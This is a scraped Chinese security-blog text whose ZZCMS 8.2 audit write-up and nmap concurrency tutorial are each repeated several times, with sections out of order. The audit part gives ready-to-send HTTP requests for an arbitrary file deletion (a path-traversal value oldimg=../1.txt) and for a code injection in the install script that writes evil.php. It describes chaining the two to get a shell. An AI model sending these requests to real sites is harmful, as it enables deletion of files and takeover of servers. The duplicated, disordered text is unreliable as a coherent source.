proname=11&szm=&gnzz=22&sm=33&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&oldimg=../1.txt&img=%2Fimage%2Fnopic.gif&oldflv=&flv=&zc=&yq=&cpid=15&action=modify&page=1&Submit=%E4%BF%9D%E5%AD%98%E4%BF%AE%E6%94%B9%E7%BB%93%E6%9E%9C%0D%0A

 OA.png

配置文件写入问题

0×00 相关环境

源码信息:ZZCMS 8.2 

问题文件: \zzcms\zzcms8.2\install\index.php 

漏洞类型:文件写入问题 

站点地址:http://www.zzcms.net/

0×01 漏洞分析

在\zzcms\zzcms8.2\install\index.php文件的第105-117行中发现如下代码块,用于将一些配置信息写入到配置文件中。

 wenjian.png

通过跟踪各个配置信息的传入过程,发现在\zzcms\zzcms8.2\install\index.php文件的第9-10行中使用了变量注册的方法进行变量的初始化。

 chushihua.png

分析代码可以知道,写入配置文件的操作并没有对传入的数据进行安全处理操作,因此仅需要按着流程走,然后在step=5的时候,在url位置传入恶意代码便可以进行代码写入的操作,当然其他位置也有可以写入的,我这里只是用最简单的位置来实现。

 shixian.png

0×02 漏洞复现

首先进行如下请求,将恶意代码写入到\zzcms\zzcms8.2\inc\config.php配置文件中:


POST /install/index.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 214

Referer: http://127.0.0.1/install/index.php

Connection: close

Upgrade-Insecure-Requests: 1

step=5&token=&db_host=localhost&db_port=3306&db_user=root&db_pass=root&db_name=zzcms&url=http%3A%2F%2F127.0.0.1′);(fwrite(fopen(“evil.php”, “w”), “<?php phpinfo();?>”));//&admin=admin&adminpwd=admin&adminpwd2=admin

然后访问http://127.0.0.1/inc/config.php便会生成evil.php文件,访问http://127.0.0.1/inc/evil.php便可以执行生成的恶意文件从而GetShell。

 shell.png

0×02 小结

本篇列举了ZZCMS8.2版本的任意文件删除与配置文件写入的问题,通过这两个漏洞的组合利用便可以GetShell,先使用任意文件删除漏洞,删除install.lock文件,然后便可以利用配置文件写入的问题写入恶意代码从而GetShell,当然GetShell的方式还有很多,这里仅仅是列举了一些分析起来比较简单的方法。大家如果有发现其他方法好玩的洞也欢迎与我私下一同聊聊[email protected]

qrcode_for_gh_223e082fe8a7_344.jpg

注:本文仅限于学习和研究使用,禁止用于非法用途。一切非法用途,与原作者无关。

0×00 背景

本周,将zzcms8.2的源码的GetShell方法与大家一同分享,在上周有说过这个CMS比较适合新手或想要入坑PHP代码审计的同学练手,所以分享下从一些容易发现的漏洞一步步到GetShell的过程,如果大家还有其他思路欢迎一同讨论,期待与师傅们的交流。

0×01 审计过程

文件删除问题:

0×00 相关环境

源码信息:ZZCMS 8.2 

问题文件: \zzcms\zzcms8.2\user\msg.php 

漏洞类型:任意文件删除 

站点地址:http://www.zzcms.net/

0×01 漏洞分析

在\zzcms\zzcms8.2\user\del.php文件的第44-53行中得到如下代码块,通过分析代码块可以知道,是从数据库中取出图片路径然后进行删除操作,这里同样的操作除了zzcms_main操作外,还有第64行的zzcms_licence操作,这里只分析zzcms_main操作。

操作1.png

操作 2.png

因为此处是从数据库select操作中得到图片等文件的路径地址的,所以可以通过追踪对zzcms_main表进行insert或者update操作的代码,在\zzcms\zzcms8.2\user\zssave.php文件的第94-102行发现insert或者update操作。

update.png

且在\zzcms\zzcms8.2\user\zssave.php文件的第103-118行中,当传入的oldimg与数据中的img不同时会删除oldimg,因此此处存在任意文件删除操作。

删除.png

0×02 漏洞复现

情况一:在action=add的情况下进行任意文件删除 

首先进行如下请求在img参数位置填入要删除的文件路径,如根目录下的1.txt。


POST /user/zssave.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 289

Referer: http://127.0.0.1/user/zsadd.php

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

proname=thinking&szm=&gnzz=thinking&sm=111111&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA&xiancheng=&cityforadd=&img=/1.txt&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF

然后数据库中会生成img列的值为/1.txt的内容。

 内容.png

然后进行如下请求,删除上面操作生成的那篇招商咨询,然后就会连1.txt一并删除。


POST /user/del.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 97

Referer: http://127.0.0.1/user/zsmanage.php

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

id%5B%5D=16&submit=%E5%88%A0%E9%99%A4%0D%0A&pagename=zsmanage.php%3Fpage%3D1&tablename=zzcms_main

 main.png

情况二:在action=modify的情况下进行任意文件删除 

进行如下请求在oldimg参数的位置构造要删除的目标文件,如根目录下的1.txt,所以可以使用../1.txt进行目录跳转后删除目标文件。


POST /user/zssave.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 290

Referer: http://127.0.0.1/user/zsmodify.php?id=15&page=1

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

proname=11&szm=&gnzz=22&sm=33&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&oldimg=../1.txt&img=%2Fimage%2Fnopic.gif&oldflv=&flv=&zc=&yq=&cpid=15&action=modify&page=1&Submit=%E4%BF%9D%E5%AD%98%E4%BF%AE%E6%94%B9%E7%BB%93%E6%9E%9C%0D%0A

 OA.png

配置文件写入问题

0×00 相关环境

源码信息:ZZCMS 8.2 

问题文件: \zzcms\zzcms8.2\install\index.php 

漏洞类型:文件写入问题 

站点地址:http://www.zzcms.net/

0×01 漏洞分析

在\zzcms\zzcms8.2\install\index.php文件的第105-117行中发现如下代码块,用于将一些配置信息写入到配置文件中。

 wenjian.png

通过跟踪各个配置信息的传入过程,发现在\zzcms\zzcms8.2\install\index.php文件的第9-10行中使用了变量注册的方法进行变量的初始化。

 chushihua.png

分析代码可以知道,写入配置文件的操作并没有对传入的数据进行安全处理操作,因此仅需要按着流程走,然后在step=5的时候,在url位置传入恶意代码便可以进行代码写入的操作,当然其他位置也有可以写入的,我这里只是用最简单的位置来实现。

 shixian.png

0×02 漏洞复现

首先进行如下请求,将恶意代码写入到\zzcms\zzcms8.2\inc\config.php配置文件中:


POST /install/index.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 214

Referer: http://127.0.0.1/install/index.php

Connection: close

Upgrade-Insecure-Requests: 1

step=5&token=&db_host=localhost&db_port=3306&db_user=root&db_pass=root&db_name=zzcms&url=http%3A%2F%2F127.0.0.1′);(fwrite(fopen(“evil.php”, “w”), “<?php phpinfo();?>”));//&admin=admin&adminpwd=admin&adminpwd2=admin

然后访问http://127.0.0.1/inc/config.php便会生成evil.php文件,访问http://127.0.0.1/inc/evil.php便可以执行生成的恶意文件从而GetShell。

 shell.png

0×02 小结

本篇列举了ZZCMS8.2版本的任意文件删除与配置文件写入的问题,通过这两个漏洞的组合利用便可以GetShell,先使用任意文件删除漏洞,删除install.lock文件,然后便可以利用配置文件写入的问题写入恶意代码从而GetShell,当然GetShell的方式还有很多,这里仅仅是列举了一些分析起来比较简单的方法。大家如果有发现其他方法好玩的洞也欢迎与我私下一同聊聊[email protected]

qrcode_for_gh_223e082fe8a7_344.jpg

注:本文仅限于学习和研究使用,禁止用于非法用途。一切非法用途,与原作者无关。

0×00 背景

本周,将zzcms8.2的源码的GetShell方法与大家一同分享,在上周有说过这个CMS比较适合新手或想要入坑PHP代码审计的同学练手,所以分享下从一些容易发现的漏洞一步步到GetShell的过程,如果大家还有其他思路欢迎一同讨论,期待与师傅们的交流。

0×01 审计过程

文件删除问题:

0×00 相关环境

源码信息:ZZCMS 8.2 

问题文件: \zzcms\zzcms8.2\user\msg.php 

漏洞类型:任意文件删除 

站点地址:http://www.zzcms.net/

0×01 漏洞分析

在\zzcms\zzcms8.2\user\del.php文件的第44-53行中得到如下代码块,通过分析代码块可以知道,是从数据库中取出图片路径然后进行删除操作,这里同样的操作除了zzcms_main操作外,还有第64行的zzcms_licence操作,这里只分析zzcms_main操作。

操作1.png

操作 2.png

因为此处是从数据库select操作中得到图片等文件的路径地址的,所以可以通过追踪对zzcms_main表进行insert或者update操作的代码,在\zzcms\zzcms8.2\user\zssave.php文件的第94-102行发现insert或者update操作。

update.png

且在\zzcms\zzcms8.2\user\zssave.php文件的第103-118行中,当传入的oldimg与数据中的img不同时会删除oldimg,因此此处存在任意文件删除操作。

删除.png

0×02 漏洞复现

情况一:在action=add的情况下进行任意文件删除 

首先进行如下请求在img参数位置填入要删除的文件路径,如根目录下的1.txt。


POST /user/zssave.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 289

Referer: http://127.0.0.1/user/zsadd.php

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

proname=thinking&szm=&gnzz=thinking&sm=111111&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA&xiancheng=&cityforadd=&img=/1.txt&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF

然后数据库中会生成img列的值为/1.txt的内容。

 内容.png

然后进行如下请求,删除上面操作生成的那篇招商咨询,然后就会连1.txt一并删除。


POST /user/del.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 97

Referer: http://127.0.0.1/user/zsmanage.php

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

id%5B%5D=16&submit=%E5%88%A0%E9%99%A4%0D%0A&pagename=zsmanage.php%3Fpage%3D1&tablename=zzcms_main

 main.png

情况二:在action=modify的情况下进行任意文件删除 

进行如下请求在oldimg参数的位置构造要删除的目标文件,如根目录下的1.txt,所以可以使用../1.txt进行目录跳转后删除目标文件。


POST /user/zssave.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 290

Referer: http://127.0.0.1/user/zsmodify.php?id=15&page=1

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

proname=11&szm=&gnzz=22&sm=33&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&oldimg=../1.txt&img=%2Fimage%2Fnopic.gif&oldflv=&flv=&zc=&yq=&cpid=15&action=modify&page=1&Submit=%E4%BF%9D%E5%AD%98%E4%BF%AE%E6%94%B9%E7%BB%93%E6%9E%9C%0D%0A

 OA.png

配置文件写入问题

0×00 相关环境

源码信息:ZZCMS 8.2 

问题文件: \zzcms\zzcms8.2\install\index.php 

漏洞类型:文件写入问题 

站点地址:http://www.zzcms.net/

0×01 漏洞分析

在\zzcms\zzcms8.2\install\index.php文件的第105-117行中发现如下代码块,用于将一些配置信息写入到配置文件中。

 wenjian.png

通过跟踪各个配置信息的传入过程,发现在\zzcms\zzcms8.2\install\index.php文件的第9-10行中使用了变量注册的方法进行变量的初始化。

 chushihua.png

分析代码可以知道,写入配置文件的操作并没有对传入的数据进行安全处理操作,因此仅需要按着流程走,然后在step=5的时候,在url位置传入恶意代码便可以进行代码写入的操作,当然其他位置也有可以写入的,我这里只是用最简单的位置来实现。

 shixian.png

0×02 漏洞复现

首先进行如下请求,将恶意代码写入到\zzcms\zzcms8.2\inc\config.php配置文件中:


POST /install/index.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 214

Referer: http://127.0.0.1/install/index.php

Connection: close

Upgrade-Insecure-Requests: 1

step=5&token=&db_host=localhost&db_port=3306&db_user=root&db_pass=root&db_name=zzcms&url=http%3A%2F%2F127.0.0.1′);(fwrite(fopen(“evil.php”, “w”), “<?php phpinfo();?>”));//&admin=admin&adminpwd=admin&adminpwd2=admin

然后访问http://127.0.0.1/inc/config.php便会生成evil.php文件,访问http://127.0.0.1/inc/evil.php便可以执行生成的恶意文件从而GetShell。

 shell.png

0×02 小结

本篇列举了ZZCMS8.2版本的任意文件删除与配置文件写入的问题,通过这两个漏洞的组合利用便可以GetShell,先使用任意文件删除漏洞,删除install.lock文件,然后便可以利用配置文件写入的问题写入恶意代码从而GetShell,当然GetShell的方式还有很多,这里仅仅是列举了一些分析起来比较简单的方法。大家如果有发现其他方法好玩的洞也欢迎与我私下一同聊聊[email protected]

qrcode_for_gh_223e082fe8a7_344.jpg

注:本文仅限于学习和研究使用,禁止用于非法用途。一切非法用途,与原作者无关。

0×00 背景

本周,将zzcms8.2的源码的GetShell方法与大家一同分享,在上周有说过这个CMS比较适合新手或想要入坑PHP代码审计的同学练手,所以分享下从一些容易发现的漏洞一步步到GetShell的过程,如果大家还有其他思路欢迎一同讨论,期待与师傅们的交流。

0×01 审计过程

文件删除问题:

0×00 相关环境

源码信息:ZZCMS 8.2 

问题文件: \zzcms\zzcms8.2\user\msg.php 

漏洞类型:任意文件删除 

站点地址:http://www.zzcms.net/

0×01 漏洞分析

在\zzcms\zzcms8.2\user\del.php文件的第44-53行中得到如下代码块,通过分析代码块可以知道,是从数据库中取出图片路径然后进行删除操作,这里同样的操作除了zzcms_main操作外,还有第64行的zzcms_licence操作,这里只分析zzcms_main操作。

操作1.png

操作 2.png

因为此处是从数据库select操作中得到图片等文件的路径地址的,所以可以通过追踪对zzcms_main表进行insert或者update操作的代码,在\zzcms\zzcms8.2\user\zssave.php文件的第94-102行发现insert或者update操作。

update.png

且在\zzcms\zzcms8.2\user\zssave.php文件的第103-118行中,当传入的oldimg与数据中的img不同时会删除oldimg,因此此处存在任意文件删除操作。

删除.png

0×02 漏洞复现

情况一:在action=add的情况下进行任意文件删除 

首先进行如下请求在img参数位置填入要删除的文件路径,如根目录下的1.txt。


POST /user/zssave.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 289

Referer: http://127.0.0.1/user/zsadd.php

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

proname=thinking&szm=&gnzz=thinking&sm=111111&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA&xiancheng=&cityforadd=&img=/1.txt&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF

然后数据库中会生成img列的值为/1.txt的内容。

 内容.png

然后进行如下请求,删除上面操作生成的那篇招商咨询,然后就会连1.txt一并删除。


POST /user/del.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 97

Referer: http://127.0.0.1/user/zsmanage.php

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

id%5B%5D=16&submit=%E5%88%A0%E9%99%A4%0D%0A&pagename=zsmanage.php%3Fpage%3D1&tablename=zzcms_main

 main.png

情况二:在action=modify的情况下进行任意文件删除 

进行如下请求在oldimg参数的位置构造要删除的目标文件,如根目录下的1.txt,所以可以使用../1.txt进行目录跳转后删除目标文件。


POST /user/zssave.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 290

Referer: http://127.0.0.1/user/zsmodify.php?id=15&page=1

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

proname=11&szm=&gnzz=22&sm=33&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&oldimg=../1.txt&img=%2Fimage%2Fnopic.gif&oldflv=&flv=&zc=&yq=&cpid=15&action=modify&page=1&Submit=%E4%BF%9D%E5%AD%98%E4%BF%AE%E6%94%B9%E7%BB%93%E6%9E%9C%0D%0A

 OA.png

配置文件写入问题

0×00 相关环境

源码信息:ZZCMS 8.2 

问题文件: \zzcms\zzcms8.2\install\index.php 

漏洞类型:文件写入问题 

站点地址:http://www.zzcms.net/

0×01 漏洞分析

在\zzcms\zzcms8.2\install\index.php文件的第105-117行中发现如下代码块,用于将一些配置信息写入到配置文件中。

 wenjian.png

通过跟踪各个配置信息的传入过程,发现在\zzcms\zzcms8.2\install\index.php文件的第9-10行中使用了变量注册的方法进行变量的初始化。

 chushihua.png

分析代码可以知道,写入配置文件的操作并没有对传入的数据进行安全处理操作,因此仅需要按着流程走,然后在step=5的时候,在url位置传入恶意代码便可以进行代码写入的操作,当然其他位置也有可以写入的,我这里只是用最简单的位置来实现。

 shixian.png

0×02 漏洞复现

首先进行如下请求,将恶意代码写入到\zzcms\zzcms8.2\inc\config.php配置文件中:


POST /install/index.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 214

Referer: http://127.0.0.1/install/index.php

Connection: close

Upgrade-Insecure-Requests: 1

step=5&token=&db_host=localhost&db_port=3306&db_user=root&db_pass=root&db_name=zzcms&url=http%3A%2F%2F127.0.0.1′);(fwrite(fopen(“evil.php”, “w”), “<?php phpinfo();?>”));//&admin=admin&adminpwd=admin&adminpwd2=admin

然后访问http://127.0.0.1/inc/config.php便会生成evil.php文件,访问http://127.0.0.1/inc/evil.php便可以执行生成的恶意文件从而GetShell。

 shell.png

0×02 小结

本篇列举了ZZCMS8.2版本的任意文件删除与配置文件写入的问题,通过这两个漏洞的组合利用便可以GetShell,先使用任意文件删除漏洞,删除install.lock文件,然后便可以利用配置文件写入的问题写入恶意代码从而GetShell,当然GetShell的方式还有很多,这里仅仅是列举了一些分析起来比较简单的方法。大家如果有发现其他方法好玩的洞也欢迎与我私下一同聊聊[email protected]

qrcode_for_gh_223e082fe8a7_344.jpg

注:本文仅限于学习和研究使用,禁止用于非法用途。一切非法用途,与原作者无关。

当我们使用nmap来进行大规模的探测的时候,速度和准确度是摆在我们面前的两个问题,这时需要考虑到nmap的并发处理能力。

0×01 nmap本身的并发执行

相关参数

-T<0-5> Set timing template (higher is faster)

--min-hostgroup/max-hostgroup <size> 并行主机扫描组大小将多个目标IP地址分成扫描组,然后在同一时间对一个扫描组进行扫描。hostgroup代表了一个扫描组

--min-hostgroup 一个扫描组的下限--max-hostgroup 一个扫描组的上限

--min-parallelism/max-parallelism <numprobes> nmap 进行扫描时,同一时间发送的报文数量

eg:nmap -sC -F --min-hostgroup 500 --max-hostgroup 800 <target>

实验数据

斗哥分别对上述几个参数做了探测速度和准确度的测试,测试过程如下:首先测试目标是选取一个B段地址,www.xxx.com/16

  1. 无并发优化的情况下,有8378个主机存活,耗时925.11秒。11.png
  2. 利用了-T5配置选项,有8368个主机存活,耗时903.80秒。80.png
  3. 测试并行扫描组

设定扫描组最小数量为50,发现耗时反而更多,有947.14秒

14.png

最小数量为100,耗时大幅度下降,613秒

13.png

最小数量为200,发送了一个警告,耗时比数量100的组稍多,682秒

682.png

  1. 测试并行发包率

同一时间至少发包100个。用时899秒

899.png

同一时间至少发包150个,用时736.13秒

哈哈哈.png

5.结论增加并行扫描组和并行发包率可以大幅度节省扫描时间,不过这个值也不能无限制增大,可能和本地带宽或者是接口IO有关系,而且速度往往和准确度相挂钩,对准确度要求不大的可以试试提一个比较高的速度。

0×02 lua 中的并发执行

lua采用coroutine的方式来实现并发执行。

  • coroutine.create(f):用来完成对coroutine的创建工作。
  • coroutine.resume(co,[,vall,...]):用来完成将coroutine的状态从暂停变为运行。
  • coroutine.running():返回当前正在执行的coroutine。
  • coroutine.status(co):返回coroutine的状态。
  • coroutine.wrap(f):作用同 coroutine.create()和 coroutine.resume()。
  • coroutine.yield(...):用来暂停 coroutine。

0×03 NSE中的并发执行

在使用NSE处理并发执行时,并不需要考虑资源的保护,因为Nmap是单线程的。但是当在处理大规模的脚本实例时,就需要考虑网络的带宽以及socket的限制等问题。

在NSE中通过stdNSE库文件的函数stdNSE.new_thread()来支持NSE线程的创建。如建立一个线程:stdNSE.new_thread(func,arg1,arg2,arg3,...)

func 就是我们要在线程中执行的函数,arg1,arg2...就是这个函数里要传递进去的参数。

下面一段脚本,创建了3个线程,并将这三个线程执行完成。

local stdNSE = require "stdNSE"
...
function func1(host,port) ... end
function func2(host,port) ... end
function func3(host,port) ... end
...
action = function(host,port)
    ...
local thread1 = stdNSE.new_thread(func1,host,port)
local thread2 = stdNSE.new_thread(func1,host,port)
local thread3 = stdNSE.new_thread(func1,host,port)
while true do
    if coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" and coroutine.status(threads3) == "dead" then
    break
    end
stdNSE.sleep(1)
end
end

我们可以通过循环语句,来批量添加线程到stdNSE.new_thread去执行。下面是nmap的一个Web 服务动态发现脚本(broadcast-wsdd-discover.nse)关于线程的运用。

-- 首先定义discoverThread函数,该函数要执行线程操作
discoverThread = function( funcname, results )
  local condvar = nmap.condvar( results )
  ...
end
...
action = function()

  local threads, results = {}, {}
  local condvar = nmap.condvar( results )

  -- 尝试发现设备和 WCF web 服务
  -- 建立for循环,遍历{"discoverDevices", "discoverWCFServices"}作为discoverThread的参数
  for _, f in ipairs( {"discoverDevices", "discoverWCFServices"} ) do
    --线程添加
    threads[stdnse.new_thread( discoverThread, f, results )] = true
  end

  local done
  -- 等待所有的线程完成
  while( not(done) ) do
    done = true
    for thread in pairs(threads) do
      if (coroutine.status(thread) ~= "dead") then done = false end
    end
    if ( not(done) ) then
      condvar("wait")
    end
  end
...
end

在NSE线程控制中,可以使用条件变量来控制脚本的执行流程。可以使用Nmap API和函数Nmap.condvar()创建一个条件变量。上述脚本local condvar = nmap.condvar( results )就是一个条件变量。

Nmap.condvar()的参数可以是除了nil、布尔类型、数值型以外的任何类型。对于一个条件变量可以进行的操作包括如下三个。

  • wait
  • broadcast
  • signal

这里所有需要处理的线程都按顺序存放在一个等待队列中。

  1. 当一个线程调用wait函数之后,可以加入到这个队列中;
  2. 当一个线程调用signal函数之后,可以从这个队列中释放出来,然后恢复执行;
  3. 当一个线程调用broadcast函数之后,可以恢复所有线程的执行。

0×04 小结

本期主要介绍nmap中的并发执行机制,包括如何在lua和NSE去创建线程的操作。在nmap的脚本库当中,很多爆破脚本,或者是服务枚举,目录遍历等脚本都较为经常使用到线程并发的处理机制。NSE脚本中Nmap.mutex()函数还提供了类似python当中线程锁的机制,可以避免多个进程在同一时间对同一个资源进行操作,有兴趣的同学可以进一步深入研究。本期nmap定制化之并发处理介绍就到这里,我们下期见。

qrcode_for_gh_223e082fe8a7_344.jpg

注:本文仅限于学习和研究使用,禁止用于非法用途。一切非法用途,与原作者无关。

当我们使用nmap来进行大规模的探测的时候,速度和准确度是摆在我们面前的两个问题,这时需要考虑到nmap的并发处理能力。

0×01 nmap本身的并发执行

相关参数

-T<0-5> Set timing template (higher is faster)

--min-hostgroup/max-hostgroup <size> 并行主机扫描组大小将多个目标IP地址分成扫描组,然后在同一时间对一个扫描组进行扫描。hostgroup代表了一个扫描组

--min-hostgroup 一个扫描组的下限--max-hostgroup 一个扫描组的上限

--min-parallelism/max-parallelism <numprobes> nmap 进行扫描时,同一时间发送的报文数量

eg:nmap -sC -F --min-hostgroup 500 --max-hostgroup 800 <target>

实验数据

斗哥分别对上述几个参数做了探测速度和准确度的测试,测试过程如下:首先测试目标是选取一个B段地址,www.xxx.com/16

  1. 无并发优化的情况下,有8378个主机存活,耗时925.11秒。11.png
  2. 利用了-T5配置选项,有8368个主机存活,耗时903.80秒。80.png
  3. 测试并行扫描组

设定扫描组最小数量为50,发现耗时反而更多,有947.14秒

14.png

最小数量为100,耗时大幅度下降,613秒

13.png

最小数量为200,发送了一个警告,耗时比数量100的组稍多,682秒

682.png

  1. 测试并行发包率

同一时间至少发包100个。用时899秒

899.png

同一时间至少发包150个,用时736.13秒

哈哈哈.png

5.结论增加并行扫描组和并行发包率可以大幅度节省扫描时间,不过这个值也不能无限制增大,可能和本地带宽或者是接口IO有关系,而且速度往往和准确度相挂钩,对准确度要求不大的可以试试提一个比较高的速度。

